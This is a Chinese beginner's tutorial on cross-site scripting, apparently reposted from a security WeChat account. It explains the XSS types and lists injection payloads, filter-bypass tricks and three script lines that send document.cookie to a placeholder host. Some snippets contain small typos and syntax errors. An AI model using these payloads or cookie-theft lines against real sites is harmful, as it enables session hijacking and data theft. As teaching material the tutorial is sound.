XSS注入(基础知识)

admin 2024年11月27日23:13:27评论17 views字数 2073阅读6分54秒阅读模式

XSS简介

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。

XSS(Cross-site scripting)注入是一种针对 Web 应用程序的安全漏洞,攻击者利用该漏洞向 Web 页面中注入恶意代码,当其他用户访问该页面时,这些恶意代码就会被执行,从而使攻击者能够窃取用户的信息、篡改用户的数据,甚至控制用户的账户等。

XSS分类

XSS 注入通常分为三种类型:

  1. 存储型 XSS:存储型XSS又被称为持久性XSS,存储型XSS是最危险的一种跨站脚本漏洞,当攻击者提交一段 XSS代码后,被服务端接收并存储,当攻击者或用户再次访问某个页面时,这段XSS代码被程序读出来响应给浏览器,造成XSS跨站攻击,这是存储型XSS。这种类型的XSS

  2. 反射型 XSS:反射型XSS也被称为非持久性XSS,当用户访问一个带有XSS代码的HTML请求时,服务器端接收数据后处理,然后把带有XSS的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,就造成XSS漏洞,这个过程就像一次反射,所以叫反射型XSS。

  3. DOM 型 XSS:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。

注意:大体上只分为存储型XSS和反射型XSS,反射型XSS包括DOM型XSS

XSS攻击步骤

存储型XSS:

  1. 攻击者将恶意代码提交到目标网站的数据库中。

  2. 用户打开目标网站时,数据库中的恶意代码将会被拼接在HTML中返回给浏览器

  3. 用户浏览器接收到响应后解析执行,其中恶意代码也会被执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站。

这种攻击方法常见于能够进行意见提交、用户私信等场景,在提交恶意代码的时候需要进行多次提交,通过注释掉影响恶意代码解析的代码,实现恶意代码的拼接。比如:

<script>/*
*/alter(1);/*
*/</script>

反射型XSS:

  1. 攻击者通过构造出特殊的URL,其中包含了恶意代码。

  2. 用户打开带有恶意代码的URL时,网站服务端将恶意代码从URL中取出,拼接在HTML中返回给浏览器。

  3. 用户浏览器接收到响应并解析执行,其后恶意代码也会被执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站

这种攻击方法常见于能够通过URL传递参数的网站,比如网站跳转。注意这种self型反射需要结合钓鱼来使用,漏洞平台并不认可。

DOM型XSS:

  1. 攻击者构造出特殊的URL,其中包含了恶意代码。

  2. 用户打开带有恶意代码的URL。

  3. 用户浏览器接收到响应并解析执行,前端JavaScript取出URL中的恶意代码并执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站。

XSS注入常用注入手段

直接注入:

<script>alert('1')</script>

img标签隐藏:

<img src="1" onerror=alert(1)>
<img src="1" onerror=javascript:alert(1)>
<img src="1" onmouseover="alert(1)"

input标签隐藏:

<input onfocus="alert(1);">
<input onblur=alert(1) autofocus>
<input autofocus>

svg标签:

<svg onload=alert(1)>

常用绕过姿势

双写绕过:

<scrscriptipt>alert(1)</scrscriptipt>

大小写绕开:

<ScriPT>alert(1)</ScriPT>

实体编码:

<img src=1 onerror="alert(1)">
&lt;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&41;&gt;

URL编码:(也可以用Base64)

%3Cscript%3Ealert%281%29%3C/script%3E

获取cookie:

<script>window.open("http://url?cookie="+document.cookie)</script>
<script>document.location.href="http://url?cookie="+document.cookie)</script>
<script>new Image().src="http://url?cookie="+document.cookie)</script>

我们还可以通过闭合标签,拼凑标签,注释代码,组合编码,符号转义,抓包绕过前端限制等等方法绕过过滤限制。

参考链接:

https://tech.meituan.com/2018/09/27/fe-security.html

https://juejin.cn/post/7028870773053849630

https://www.cnblogs.com/HunterJ/p/10716889.html

原文始发于微信公众号(鱼板安全):XSS注入(基础知识)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月27日23:13:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS注入(基础知识)https://cn-sec.com/archives/2492595.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息